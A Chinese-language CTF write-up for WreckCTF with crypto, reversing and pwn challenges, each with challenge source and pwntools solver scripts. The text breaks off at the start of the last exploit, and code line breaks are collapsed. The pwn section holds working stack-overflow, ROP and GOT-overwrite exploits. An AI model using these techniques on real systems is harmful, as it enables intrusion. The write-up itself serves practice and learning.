国庆两天,一个比较容易的比赛。会的题不少。感觉到自信了。

目录

国庆两天,一个比较容易的比赛。会的题不少。感觉到自信了。

crypto

spin

baby-rsa

mtp

prime

token

rsa

lsfr

reverse

flag-chcker

adwanced-flag-checker

my-frob

reverser

no-peeking

hopper

pwn

login

froggers

list

secret-note

file-note


crypto

spin

签到题,移们加密

with open('flag.txt', 'r') as file:plaintext = file.read().strip()def spin(c, key):return chr((ord(c) - ord('a') - key) % 26 + ord('a'))ciphertext = ''.join(spin(c, 43) if 'a' <= c <= 'z' else cfor c in plaintext
)with open('ciphertext.txt', 'w+') as file:file.write(ciphertext)#oujp{xkurpjcxah_ljnbja_lryqna}

一切皆可查表法,解

c = 'oujp{xkurpjcxah_ljnbja_lryqna}'tab1 = ''
tab2 = ''
for i in range(26):tab1 += chr((i-43)%26 + ord('a'))tab2 += chr(ord('a')+i)print(tab1, tab2)
flag = ''
for i in c:if 'a'<= i <= 'z':flag += tab2[tab1.index(i)]else:flag += i print(flag)

baby-rsa

RSA题还有这么出的,给了n,p,c看好了,是p

import os
from Crypto.Util.number import bytes_to_long
from Crypto.Util.number import getPrimeflag = os.environ.get('FLAG', 'no flag provided...')
flag = bytes_to_long(flag.encode())p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
c = pow(flag, e, n)print(f'n = {n}')
print(f'p = {p}')
print(f'c = {c}')

有p直接写结果

n = 16967030524502117214404100938261512382476151014953810086457458506775561699741027177109475539121211529814684487395199133801638599985180955338495989569340540376124807821943573280630324881818066744507564756665127210459332444920606486994072129710858139496303833832240535648836812837435101898107375109591298448865096896766383411711200824664445664678845771535439939206180644815510852117001857835603778955859253603587494892843836213881773638034262614536999861164857385629363907454894250540295882187971147536166744476224735521763298209764627356686320122210736490192602850501326898433744416186683178097463922613678659551708913
p = 112938170774939578216646572395872887695843784155521810581759026139441777082668981414130841110435151229821393412015735096194165993689242885701364849407355608664777621193747399866798831020509285147859127962346645901944198309670340274589989755553987121054384691648307853338777947729704797783621352987968380404953
c = 3368698370223657437363956246409070827533162506001921259102069828983434755863382284430154276267297409790119872670804781112016305330950073801884911157804546010154111795543704170801587831489566486566469051334021190261635984576008739988870135676555037073260283576557781498330505383655344806353896492051402660556261952019042918816172190224923806908316787952447009744475852130517418559365436552563392957767628839691411633880727219556601643606771975372751803686173396627207883779445464569870767142834865744494453087393160416188615150825879908393020074220980283645462336483624972560418501642296980186442041991775924025176517
e = 65537from gmpy2 import invert
phi = (p-1)*(n//p-1)
d = invert(e, phi)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

mtp

这个不知道应该归到的加密方法叫啥,感觉像是维吉尼亚。先生成256套码表,加密时先按偏移选码表再查表。

#!/usr/local/bin/python -uimport os
import randomLETTERS = set('abcdefghijklmnopqrstuvwxyz')def encrypt(plaintext, key):return ''.join(chr(permutation[ord(letter) - ord('a')] + ord('a'))if letter in LETTERSelse letterfor letter, permutation in zip(plaintext, key))key = [list(range(26)) for _ in range(256)]
for permutation in key:random.shuffle(permutation)print('Welcome to the Multi-Time Pad!')
while True:print('1. Encrypt message')print('2. Get flag')choice = input('> ')match choice:case '1':plaintext = input('What\'s your message? ')case '2':plaintext = os.environ.get('FLAG', 'no flag provided!')case _:print('Invalid choice!')continueprint(f'Result: {encrypt(plaintext, key)}')
#nc challs.wreckctf.com 31239

解法就是先得到码表再解

'''
$ nc challs.wreckctf.com 31239
Welcome to the Multi-Time Pad!
1. Encrypt message
2. Get flag
> 1
What's your message? abcdefghijklmnopqrstuvwxyz
Result: tfinrmeaepnzgqzicdhbpvlcul
1. Encrypt message
2. Get flag
> 2
Result: zqxr{uaqr_nmd_czrpn_opapzzfzqaqtgmkezeq}
'''from pwn import *context.log_level = 'debug'code = 'abcdefghijklmnopqrstuvwxyz'
flag = list('?'*40)def check(flag):for i in flag:if i == '?':return Truereturn Falsewhile check(flag):p = remote('challs.wreckctf.com', 31239)p.sendlineafter(b'> ', b'2')p.recvuntil(b'Result: ')c = p.recvline()[:-1].decode()tab = ['']*40for i,v in enumerate(code):p.sendlineafter(b'> ', b'1')p.sendlineafter(b'message? ', (v*40).encode())mm = p.recvline()[:-1].decode()[-40:]for j in range(40):tab[j] += mm[j]print(tab)print(c)p.close()for i,v in enumerate(c):if flag[i] == '?':if 'a' <= v <= 'z':if v in code:flag[i] = code[tab[i].index(v)]else:flag[i] = v print(''.join(flag))print(''.join(flag))
'''
['qsnmdexyhuiclfpwvjbtorzakg', 'zqifnercvatgowsdybukhlmxpj', 'fnduwsgypeaxhjkvtmqcrbzilo', 'grhoiakpuysfemzdncbtwlqxvj', 'yckipxtbsrajhqevwfodmgnzlu', 'wadftnlgrmjseihcuzpyoxbvkq', 'altjhmqzcvpsobdxwfgeirkuyn', 'gabuekzmqpvficwtdhxrolsnyj', 'kchxdjvsgaupzmqiywfbtonrel', 'ptulxjzyiqmsacrbkvwnohdgfe', 'oshkluxqngizmwtvpbayredjcf', 'rswbftanlohqkmpgxevyzuicdj', 'uikdptgocalfnjsbemrzwqhvyx', 'gscnayvpjfuqkhziwtemxoldbr', 'xlmbvngzhiacwqjkfrsodyutpe', 'pkevcywqtlmdsbznuirjxohgaf', 'slmyhrpiwcnvkodabqgxjzufte', 'hotwumqeplbfvzasidnjgcxkyr', 'ntwsfkvbydcipzjeurolamxgqh', 'vnpzgyfcalqekouhbjrtdmwsxi', 'ndpktijqgavrwyfzsebmcuhlxo', 'aondiwsegfqjrxbmlyczthkuvp', 'pcdjngksfozhqrevaulxwtimby', 'mwnqxhiuvredglsyajktfbpzco', 'zxblyumafndcwikgpovjqehsrt', 'suhvnawxyltfmgczerojdipbkq', 'tcrvnwyklmabpedgqhjuzsfoix', 'oejknphbwxaziqlsryufvmdgct', 'hwilpymtdqskgarezfnxubovcj', 'roekgbmqdyvlcufzwanxsipthj', 'yrtlqvuiaehgswzxmofckbjndp', 'trlksaqnuwioydzvxmegpcjbfh', 'jorsvegixhuwbfacdznlptqkmy', 'rsfahtjzneubdmvgwqckyloipx', 'oqtecrjdazfykvlmbuwsngxhpi', 'pvyzsftxbmqarjkgiduowclnhe', 'fvkugqyacehnxomtilbdzrwsjp', 'hzkjsxmatqglndvbrfepwcoyiu', 'lmqzwkpiavndfsoctjhrugyexb', 'raiynzmfwbjvltsxdchuogqpek']
egfk{hdtf_ify_rcjnf_dkdrgevdpftouoyvhvq}
'''
#flag{oops_key_reuse_bwcjpqdweoclkwlbkoc}

prime

脑筋需要转弯了,题目要求是输入一个1020-1028位之间的数,1000之内没有1以外的因子,并且用伪素数测试通过,并且有70个互质因子(输入)这个当时没想明白,睡醒后突然想到1可以满足gcd==1的要求。那么就不需要找伪素数了(数学家都干不出来,咱就别想了)

伪素数:费马有个式子,所有素都都满足 a**(n-1)%n == 1 (a ∈[1,n-1)),但满足的不一定是素数,这个很难找。

#!/usr/local/bin/pythonimport random
import math
with open ("flag.txt", "r") as f:flag = f.read()
n = int(input(">> "))
n_len = n.bit_length()
if n_len<1020 or n_len>1028:print("no.")quit()
for i in range(2,1000):if n%i==0:print("no.")quit()#费马小定理 对伪素数也成立
if all([pow(random.randrange(1,n), n-1, n) == 1 for i in range(256)]):a = []for _ in range(70):a.append(int(input(">> ")))if all([n%i==0 for i in a]):for i in range(len(a)):for j in range(i+1, len(a)):if math.gcd(a[i],a[j])!=1:print(a[i],a[j])print("no.")quit()print(flag)else:print("no.")quit()
#nc challs.wreckctf.com 31273

直接弄个素数,然后再输入70个1就行了

from pwn import *
from Crypto.Util.number import getPrimep = remote('challs.wreckctf.com', 31273)
context.log_level = 'debug'n = getPrime(1026)p.sendlineafter(b'>> ', str(n).encode())
for i in range(70):p.sendlineafter(b'>> ', b'1')p.recvline()#flag{yep_it's_definitely_prime}

token

AES ECB模式加密,刚作了一个OFB模式的,大概都看过。ECB模式没有反馈,所以明文和密文有一一对应关系。

题目要求输入gary的密文,但不能输入gary求,所以可以求a*16+gary,然后第二个分且就是gary的

#!/usr/local/bin/pythonimport os
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpadKEY = ''.join(random.choice('0123456789abcdef') for _ in range(32)).encode()def encrypt(name):cipher = AES.new(KEY, AES.MODE_ECB)return cipher.encrypt(pad(name.encode(), AES.block_size)).hex()def decrypt(ciphertext):cipher = AES.new(KEY, AES.MODE_ECB)result = unpad(cipher.decrypt(bytes.fromhex(ciphertext)), AES.block_size)return result.decode()print('welcome to the flag viewer!')
while 1:print('1. view flag')print('2. generate token')value = input('> ')if value == '1':token = input('token: ')try:name = decrypt(token)except ValueError:print('invalid token')continueif name == 'gary':print(os.environ.get('FLAG', 'no flag provided.'))else:print('sorry, only gary can view the flag')elif value == '2':name = input('name: ')if name == 'gary':print('nice try!')else:print(f'here\'s your token: {encrypt(name)}')else:print('unknown input!')#nc challs.wreckctf.com 31522

解法

from pwn import *p = remote('challs.wreckctf.com', 31522)
context.log_level = 'debug'p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'name: ', b'A'*16 + b'gary')token = p.recvline()[:-1][-32:]
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'token: ', token)p.recvline()
'''
garyaaaaaaaaaaaaaaaagary
428b38f59c7b4dba890d0aa09c63f246778543e572867e0f863b839dd37b0ad7
flag{gary_gary_gary_gary_gary_gary}
'''

rsa

一道真正的rsa的题,可以输入密文返回明文。然后要求输入明文能得到指定的密文。本来以为没啥,可这里有个

坑:输入是bytes,会被encode('utf-8'),这样一个比较乱的bytes就无法通过。

#!/usr/local/bin/pythonfrom Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
flag = open('flag.txt', 'rb').read()
d = inverse(e, (p-1)*(q-1))pandaman = b"PANDAMAN! I LOVE PANDAMAN! PANDAMAN MY BELOVED! PANDAMAN IS MY FAVORITE PERSON IN THE WHOLE WORLD! PANDAMAN!!!!"def enc(m):if pandaman == m:return "No :("else:return pow(bytes_to_long(m), d, n)def check():if long_to_bytes(pow(int(input("Enter here: ")), e, n)) == pandaman:print(flag)else:print("darn :(")def menu():print("1. Encrypt")print("2. Check")print("3. Exit")return input(">> ")while True:choice = menu()if choice == "1":pt = input("Enter String: ")print(enc(pt.encode('utf-8')))elif choice == "2":check()elif choice == "3":breakelse:print("Invalid choice")#nc challs.wreckctf.com 31745

绕坑的方法是输入2**e*c这个会比n大,但没说过输入c解密时c一定要比n小,只是见过的题都比n小,因为c是经过%n得到的,这里其实输入的并不c而是与c能得到相同m的值。

from math import gcd
from Crypto.Util.number import *
from gmpy2 import invert
from pwn import *pandaman = b"PANDAMAN! I LOVE PANDAMAN! PANDAMAN MY BELOVED! PANDAMAN IS MY FAVORITE PERSON IN THE WHOLE WORLD! PANDAMAN!!!!"
e = 65537p = remote('challs.wreckctf.com', 31745)def get_m(c):p.sendlineafter(b'>> ', b'1')p.sendlineafter(b'Enter String: ', long_to_bytes(c))return int(p.recvline())'''
def get_m(c):return enc(long_to_bytes(c))def enc(m):if pandaman == m:return "No :("else:return pow(bytes_to_long(m), d, n)p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))
m = pow(bytes_to_long(pandaman), d, n)
print('n = ', n)
print('m = ', m) #pandaman 的明文
print('c = ', (m*2)%n)
print('m = ', pow(pow((m*2)%n,e,n),d,n))
'''
context.log_level = 'debug'm1 = get_m(53)
m2 = get_m(59)
m3 = get_m(67)n = gcd(gcd(m1**e - 53, m2**e - 59),m3**e-67)  #sagec1 = (2**8)**e * bytes_to_long(pandaman)
#print('c1 = ', c1)  #0x100*mm3 = get_m(c1)
m3 = int(m3 * invert(2**8, n) % n)print(m3)
print(long_to_bytes(pow(m3,e,n))) #== pandamanp.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Enter here: ', str(m3).encode())p.recvline()
p.interactive()
#flag{dan_likes_moes}

可能好多东西没用,这里的n,题目没有提供n但求明文需要,当这个明文不需要,这里写多了。而且由于n需要用到gcd所以在sage里才能快速解出。

lsfr

这题直接用到一个pylfrs库进行加密。库下下来后发现只是进行位异或。

将fpoly中偏移的位异或得到新位插在队尾,从队头开始输出。

解密就直接用得到的位(c xor key)得到加密输出,然后一直向前用fpoly(去掉32加上0)异或得到上一个output加到队尾。这样就能得到state

state是由getrandbits(32)得到,这题就转化为通过梅森旋转预测下一个随机数。

解法就是先取得624个密文和flag的密文,求出flag所用的state再解密

#!/usr/local/bin/pythonimport random
from pylfsr import LFSRwith open ("flag.txt", "r") as f:flag = f.read()def enc(plaintext):r = random.getrandbits(32)state = [int(i) for i in list(bin(r)[2:].zfill(32))]plaintext = list([int(j) for j in ''.join(format(ord(i), 'b').zfill(8) for i in plaintext)])l = LFSR(fpoly=[32,26,20,11,8,5,3,1], initstate=state)for i in range(0x1337):l.next()key = []for i in range(len(plaintext)):key.append(l.next())return "".join([str(plaintext[i]^key[i]) for i in range(len(plaintext))])def menu():print("1. Encrypt Random String")print("2. Encrypt Flag")print("3. Exit")return input(">> ")while True:choice = menu()if choice == "1":pt = input("Enter String: ")if len(pt)!=16:print("Invalid String Length")continueprint(enc(pt))   #获得0x1337后的16*8个状态, ?倒推出r  根据624个r预测下一个,得到flag加密时relif choice == "2":print(enc(flag))breakelif choice == "3":breakelse:print("Invalid choice")#nc challs.wreckctf.com 31310

解法

先获取数据,网站会断,在线算可能会很麻烦,先得到到数据再慢慢算

from pwn import *p = remote('challs.wreckctf.com', 31310)
context.log_level = 'debug'def get_r():p.sendlineafter(b'>> ', b'1')p.sendlineafter(b"Enter String: ", b'\x00'*16)return p.recvline()fp = open('data.txt', 'wb')
for i in range(624):fp.write(get_r())p.sendlineafter(b'>> ', b'2')
fp.write(p.recvline())sleep(1)
fp.close()
p.close()

然后再解密

from pwn import *
from random import Random, getrandbits
from Crypto.Util.number import long_to_bytes
from pylfsr import LFSR'''  梅森旋转  '''
def invert_right(m,l,val=''):length = 32mx = 0xffffffffif val == '':val = mxi,res = 0,0while i*l<length:mask = (mx<<(length-l)&mx)>>i*ltmp = m & maskm = m^tmp>>l&valres += tmpi += 1return resdef invert_left(m,l,val):length = 32mx = 0xffffffffi,res = 0,0while i*l < length:mask = (mx>>(length-l)&mx)<<i*ltmp = m & maskm ^= tmp<<l&valres |= tmpi += 1return resdef invert_temper(m):m = invert_right(m,18)m = invert_left(m,15,4022730752)m = invert_left(m,7,2636928640)m = invert_right(m,11)return mdef clone_mt(record):state = [invert_temper(i) for i in record]gen = Random()gen.setstate((3,tuple(state+[0]),None))return gen''' 改造后的求state  '''def enc(r, plaintext):state = [int(i) for i in list(bin(r)[2:].zfill(32))]plaintext = list([int(j) for j in ''.join(format(ord(i), 'b').zfill(8) for i in plaintext)])l = LFSR(fpoly=[32,26,20,11,8,5,3,1], initstate=state)for i in range(0x1337):l.next()key = []for i in range(len(plaintext)):key.append(l.next())return "".join([str(plaintext[i]^key[i]) for i in range(len(plaintext))])def mdec(v):v = [int(i) for i in v][::-1]ppoly=[26,20,11,8,5,3,1,0]for _ in range(0x1337):t = 0for i in ppoly:t ^=v[i]v = v[1:]+[t]#print(v)return int(''.join([str(i) for i in v]) ,2)'''
r = getrandbits(32)
print(r, bin(r)[2:].zfill(32)[::-1])
v = enc(r, chr(0)*16)
print(v)
a = mdec(v[:32])
print(a, bin(a)[2:].zfill(32))
'''data = open('data.txt').read().split('\n')prng = []
for _ in range(624):prng.append(mdec(data[_][:32]))g = clone_mt(prng[:624])
for _ in range(625):k = g.getrandbits(32)print(k)c = enc(k, chr(0)*25)
cb = long_to_bytes(int(c, 2))
ca = long_to_bytes(int(data[624], 2))
print(xor(ca,cb))

reverse

flag-chcker

直接给了顺序打乱的片段

  if ( strlen(s) != 40 )bad();if ( strncmp(v14, "d94", 3uLL) )bad();if ( strncmp(v6, "db_", 3uLL) )bad();if ( strncmp(v10, "35t", 3uLL) )bad();if ( strncmp(v8, "y0u", 3uLL) )bad();if ( strncmp(v7, "1s_", 3uLL) )bad();if ( strncmp(v13, "d_6", 3uLL) )bad();if ( strncmp(v5, "g{g", 3uLL) )bad();if ( strncmp(v11, "_fr", 3uLL) )bad();if ( v16[3] != 125 )bad();if ( strncmp(v12, "13n", 3uLL) )bad();if ( strncmp(v16, "fa6", 3uLL) )bad();if ( strncmp(v9, "r_b", 3uLL) )bad();if ( strncmp(v15, "620", 3uLL) )bad();if ( strncmp(s, "fla", 3uLL) )bad();

直接手工组合

s 5  6  7  8  9  10 11 12 13 14 15 16
flag{gdb_1s_y0ur_b35t_fr13nd_6d94620fa6}

adwanced-flag-checker

32位程序需要手工算

  v0 = sys_write(1, &unk_80491DF, 0x11u);v1 = sys_read(0, &unk_8049234, 0x29u);*(_BYTE *)(v2 + 40) = 0;if ( (*(_DWORD *)v2 ^ 0x558C4DC) == 1647945914&& (*(_DWORD *)(v2 + 4) ^ 0x71100C9B) == 25126112&& (*(_DWORD *)(v2 + 8) ^ 0xCE3D1DDE) == -1589361989&& (*(_DWORD *)(v2 + 12) ^ 0x322958FC) == 1096550281&& (*(_DWORD *)(v2 + 16) ^ 0x8CBE8F4E) == -152966357&& (*(_DWORD *)(v2 + 20) ^ 0xB14A374B) == -567515016&& (*(_DWORD *)(v2 + 24) ^ 0xEE9707A) == 1721577224&& (*(_DWORD *)(v2 + 28) ^ 0xF98DDD38) == -925716911&& (*(_DWORD *)(v2 + 32) ^ 0x5D715F4D) == 1813145471&& (*(_DWORD *)(v2 + 36) ^ 0x410B9F90) == 1010629539 ){v3 = sys_write(1, &unk_804920B, 0x29u);v4 = sys_exit(0);}v5 = sys_write(1, &unk_80491F0, 0x1Bu);v6 = sys_exit(1);

from pwn import *s = [0x558C4DC,1647945914,
0x71100C9B,25126112,
0xCE3D1DDE,-1589361989,
0x322958FC,1096550281,
0x8CBE8F4E,-152966357,
0xB14A374B,-567515016,
0xEE9707A,1721577224,
0xF98DDD38,-925716911,
0x5D715F4D,1813145471,
0x410B9F90,1010629539]flag = b''
for i in range(0, len(s), 2):f = (s[i]^s[i+1])&0xffffffffflag +=p32(f)print(flag)

my-frob

异或加密

__int64 __fastcall my_memfrob(__int64 a1, unsigned __int64 a2, char a3)
{__int64 result; // raxint i; // [rsp+20h] [rbp-4h]for ( i = 0; ; ++i ){result = i;if ( a2 <= i )break;*(_BYTE *)(i + a1) ^= a3;}return result;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{size_t v3; // rcxchar v5; // [rsp+Fh] [rbp-11h]char *s; // [rsp+10h] [rbp-10h]unsigned int v7; // [rsp+18h] [rbp-8h]int v8; // [rsp+1Ch] [rbp-4h]s = (char *)load_flag(argc, argv, envp);v8 = 1;v7 = 1;while ( v7 != 233 ){v3 = strlen(s);my_memfrob(s, v3, v7);v5 = v7;v7 += v8;v8 = v5;}print(s);return 0;
}

按原样再异或一次

s = bytes.fromhex('afa5a8aeb2a5a0a7bcb196baa1a6bca5ad96a8adad96a4b096a4aca4afbba6abb4')
s = [i for i in s]v8 = 1
v7 = 1
while v7 != 233:s = [i^v7 for i in s]v5 = v7 v7 += v8v8 = v5 print(bytes(s))

reverser

每次移位后生成新的偏移

#!/usr/local/bin/pythonimport osdef check_license(license):characters = set('0123456789abcdef')s = [9]for c in license:if c not in characters:return Falses.append((s[-1] + int(c, 16)) % 16)target = '51c49a1a00647b037f5f3d5c878eb656'return ''.join(f'{c:x}' for c in s[1:]) == targetprint('welcome to reverser as a service!')
license = input('please enter your license key: ')if not check_license(license):print('sorry, incorrect key!')exit()string = input('what should i reverse? ')
print(f'output: {string[::-1]}')
print(os.environ.get('FLAG', 'no flag given'))#nc challs.wreckctf.com 31706

解法

def check_license(license):characters = set('0123456789abcdef')s = [9]for c in license:if c not in characters:return Falses.append((s[-1] + int(c, 16)) % 16)target = '51c49a1a00647b037f5f3d5c878eb656'return ''.join(f'{c:x}' for c in s[1:]) == targets = '951c49a1a00647b037f5f3d5c878eb656'
license = ''
for i in range(32):c = ( int(s[i+1], 16) - int(s[i],16) )%16license += hex(c)[2:]print(license)
print( check_license('ccb85179606e3453486a4a87cf16dbf1') )'''
$ nc challs.wreckctf.com 31706
welcome to reverser as a service!
please enter your license key: ccb85179606e3453486a4a87cf16dbf1
what should i reverse? 1
output: 1
flag{clock_math_too_hard}
'''

no-peeking

这题很恶心,需要手工去花,很多

LOAD:080480DE                                                                       ; LOAD:080480D9↑j
LOAD:080480DE 66 8B 59 08                   mov     bx, [ecx+8]
LOAD:080480E2 66 81 F3 DA EA                xor     bx, 0EADAh
LOAD:080480E7 66 81 C3 0D FE                add     bx, 0FE0Dh
LOAD:080480EC 66 81 FB B7 8D                cmp     bx, 8DB7h
LOAD:080480F1 0F 85 68 02 00 00             jnz     loc_804835F
LOAD:080480F1
LOAD:080480F7 71 03                         jno     short loc_80480FC
LOAD:080480F7
LOAD:080480F9 70 01                         jo      short loc_80480FC
LOAD:080480F9
LOAD:080480FB 90                            nop    <--- nop后就能看了

然后把数抄下来运算


flag = ''
def addflag(v):global flag flag +=chr(v&0xff)+chr(v>>8)
#+8
v8 = ((0x8db7 - 0xfe0d)^0xeada)&0xffff
v6 = ((0x520d - 0xfe67)^0xc96)& 0xffff
v0 = ((0x5eca - 0xfd96)^0xd52)& 0xffff
v2 = ((0x3e3c - 0x198)^0x5bc5)& 0xffff
v12 = ((0xb4c8 - 0xfc9b)^0xd644)& 0xffff
v14 = ((0x99aa - 0x3ae)^0xb49b)& 0xffff
v4 = ((0xbd0f - 0xff06)^0xd072)& 0xffff
v10 = ((0x17ce - 0xa6)^0x7c4d)& 0xffff
v20 = ((0x210d - 0xfefc)^0x4e7d)& 0xffff
v22 = ((0x19df - 0xfe39)^0x44df)& 0xffff
v16 = ((0x1898 - 0x315)^0x67dc)& 0xffff
v26 = ((0x46cf - 0x3e0)^0x7182)& 0xffff
v28 = ((0xb56c - 0xf6)^0xda17)& 0xffff
v18 = ((0xccb1 - 0x1c9)^0xab8d)& 0xffff
v32 = ((0xfeba - 0x28)^0xa1e6)& 0xffff
v34 = ((0x7f56 - 0xfe47)^0xb338)& 0xffff
v36 = ((0x308a - 0x3d8)^0x4ed6)& 0xffff
v38 = ((0xb936 - 0x2ff)^0xcb0f)& 0xffff
v24 = ((0x35cd - 0xe8)^0x6b8c)& 0xffff
v30 = ((0x1732 - 0x243)^0x7db0)& 0xffffaddflag(v0)
addflag(v2)
addflag(v4)
addflag(v6)
addflag(v8)
addflag(v10)
addflag(v12)
addflag(v14)
addflag(v16)
addflag(v18)
addflag(v20)
addflag(v22)
addflag(v24)
addflag(v26)
addflag(v28)
addflag(v30)
addflag(v32)
addflag(v34)
addflag(v36)
addflag(v38)print(flag)

hopper

这是一个4*4的拼板问题,可惜没有现成的程序,不过好在题目是固定的,这样手工玩一把会比写程序快。

#!/usr/local/bin/pythonimport osdef do_hop(state):hopper = state['hopper']line = state['line']hops = [(hopper - 4, hopper >= 4),(hopper - 1, hopper % 4 != 0),(hopper + 1, hopper % 4 != 3),(hopper + 4, hopper < 12),]hoppees = { line[hop]: hop for hop, legal in hops if legal }people = ', '.join(hoppees)print('oh no! the order of the line is wrong!')print(f'you can hop with {people}.')hoppee = input('who do you choose? ')if hoppee not in hoppees:print('can\'t hop there!')returntarget = hoppees[hoppee]line[hopper], line[target] = line[target], line[hopper]state['hopper'] = targetdef fixed(state):position = { hoppee: i for i, hoppee in enumerate(state['line']) }if position['olive'] > position['olen']:return Falseif position['shauna'] > position['constance']:return Falseif position['zane'] > position['tracie']:return Falseif position['loretta'] > position['chasity']:return Falseif position['gracie'] > position['shauna']:return Falseif position['tracie'] > position['louie']:return Falseif position['bertram'] > position['antoinette']:return Falseif position['antoinette'] > position['dana']:return Falseif position['constance'] > position['bertram']:return Falseif position['louie'] > position['wes']:return Falseif position['olen'] > position['hopper']:return Falseif position['wes'] > position['loretta']:return Falseif position['chasity'] > position['olive']:return Falseif position['rosemarie'] > position['gracie']:return Falseif position['dana'] > position['zane']:return Falsereturn True
# 0          1      2       3        4        5        6     7     8     9   10  11       12     13     14   15
'rosemarie,gracie,shauna,constance,bertram,antoinette,dana,zane,tracie,louie,wes,loretta,chasity,olive,olen,hopper'state = {'hopper': 0,'line': ['hopper','wes','gracie','zane','constance','rosemarie','shauna','chasity','louie','tracie','dana','olen','olive','loretta','bertram','antoinette',],
}while not fixed(state):do_hop(state)print(os.environ.get('FLAG', 'no flag provided!'))#nc challs.wreckctf.com 31714

手工作出后上传结果

s = 'rosemarie,gracie,shauna,constance,bertram,antoinette,dana,zane,tracie,louie,wes,loretta,chasity,olive,olen,hopper'.split(',')#手工玩一把记录结果
w = [10,0,3,10,0,1,7,12,2,6,8,3,6,8,3,6,8,3,14,2,12,7,3,14,2,12,14,2,12,14,7,3,2,12,4,5,14,7,12,4,5,11,13,9,10,8,4,5,6,10,8,4,5,12,7,14,11,6,12,7,14,12,6,11,12,14,7,6,11,12,14,11,10,13,9,8,13,9,12,14,11,10,9,13,8,12,13,9,10,11]from pwn import *p = remote('challs.wreckctf.com', 31714)context.log_level = 'debug'for i in w:v = s[i]#p.sendlineafter(b'who do you choose? ', v.encode())p.sendline(v.encode())p.recvall()

pwn

login

直接给了源码,很明显在输入password里会覆盖到accurate

// gcc -o challenge challenge.c#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <stdbool.h>
#include <string.h>bool load_password(char *password) {FILE *fp;if ((fp = fopen("password.txt", "r")) == NULL)return false;if (fread(password, 1, 15, fp) != 15)return false;password[15] = 0;fclose(fp);return true;
}void print_flag() {FILE *fp = fopen("flag.txt", "r");if (fp == NULL)return;fseek(fp, 0, SEEK_END);long fsize = ftell(fp);fseek(fp, 0, SEEK_SET);char flag[fsize + 1];flag[fsize] = 0;fread(flag, 1, fsize, fp);puts(flag);fclose(fp);
}int main() {char password[16];char accurate[16];if (!load_password(accurate))return 1;puts("Input password");fflush(stdout);gets(password);if (strcmp(password, accurate) == 0)print_flag();elseputs("Sorry, incorrect password\n");fflush(stdout);
}

直接覆盖

from pwn import *p = remote('challs.wreckctf.com', 31009)
context.log_level  = 'debug'p.sendline(b'\x00'*32)
print(p.recvall())

froggers

外国题就是好,直接给源码,溢出很小写不了rop,但有后门写frog,coin

// compiled with gcc -fno-stack-protector -o challenge challenge.c#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <stdbool.h>bool frog = false;
bool coin = false;
bool wallet_supports_frog_coin = false;void lilypad(char *buffer) {fgets(buffer, 40, stdin);
}void set_frog() {puts("Setting frog...");frog = wallet_supports_frog_coin;if (frog)puts("Frog set!");fflush(stdout);
}void set_coin() {puts("Setting coin...");coin = frog;if (coin)puts("Coin set!");fflush(stdout);
}void froggers(char *name) {printf("Hi %s", name);if (frog && coin) {FILE *fp = fopen("flag.txt", "r");if (fp == NULL)return;fseek(fp, 0, SEEK_END);long fsize = ftell(fp);fseek(fp, 0, SEEK_SET);char flag[fsize + 1];flag[fsize] = 0;fread(flag, 1, fsize, fp);if (!frog || !coin) {puts("Frogger error!");fflush(stdout);exit(1);}printf("%s\n", flag);fclose(fp);} else {puts("Your wallet doesn't have frog coins!");}fflush(stdout);
}int main() {printf("Hey I'm %p, what's your name?\n", main);fflush(stdout);char name[16];  //溢出lilypad(name);froggers(name);if (!wallet_supports_frog_coin) {wallet_supports_frog_coin = true;}return 0;
}

利用溢出调用后门。第2次调用后会有1字节偏移,没搞明白,但gdb可以看到。第2次调整下偏移即可。

from pwn import *p = remote('challs.wreckctf.com', 31824)
#p = process('./pwn')elf = ELF('./pwn')context(arch='amd64', log_level = 'debug')#gdb.attach(p, 'b main')
#pause()p.recvuntil(b"Hey I'm ")
pwn_base = int(p.recvuntil(',', drop=True), 16) - elf.sym['main']
elf.address = pwn_base
print(hex(pwn_base))pop_rdi = pwn_base + 0x0000000000001603 # pop rdi ; ret
pop_rsi = pwn_base + 0x0000000000001601 # pop rsi ; pop r15 ; retpay = b'A'*16 + flat(0, elf.sym['set_frog'], elf.sym['main'])
p.sendafter(b'name?\n', pay)#pause()pay = b'A'*15 + flat(0, elf.sym['set_coin'], elf.sym['froggers'])
p.sendafter(b'name?\n', pay)#pause()p.recvline()p.interactive()

list

块按链方式存储,有写溢出,通过溢出覆盖next指针泄露libc,然后覆盖got[atoi]的为system

int vuln()
{unsigned int v0; // eaxunsigned int v1; // eaxint v3; // [rsp+4h] [rbp-Ch]void *ptr; // [rsp+8h] [rbp-8h]void *ptra; // [rsp+8h] [rbp-8h]void *ptrb; // [rsp+8h] [rbp-8h]const char *ptrc; // [rsp+8h] [rbp-8h]puts("what would you like to do?");puts("1. push to back");puts("2. pop from back");puts("3. edit node");puts("4. read node");v3 = read_n();if ( v3 == 4 ){puts("enter an index:");v1 = read_n();ptrc = (const char *)get_ptr(v1);if ( ptrc ){puts(ptrc + 8);return puts(&byte_4020DB);}
LABEL_14:puts("index does not exist!");return puts(&byte_4020DB);}if ( v3 > 4 )goto LABEL_18;switch ( v3 ){case 3:puts("enter an index:");v0 = read_n();ptrb = (void *)get_ptr(v0);if ( ptrb ){read128(ptrb);puts("edited!!");return puts(&byte_4020DB);}goto LABEL_14;case 1:ptr = (void *)sub_401256();               // 0x48  next_ptr, data:0x40if ( ptr ){read128(ptr);                           // 可以写128,溢出puts("pushed!");}else{puts("failed to push");}break;case 2:ptra = (void *)sub_4012D7();if ( ptra ){free(ptra);puts("removed!");}else{puts("failed to pop");}break;default:
LABEL_18:puts("invalid choice");exit(1);}return puts(&byte_4020DB);
}

from pwn import *p = remote('challs.wreckctf.com', 31890)
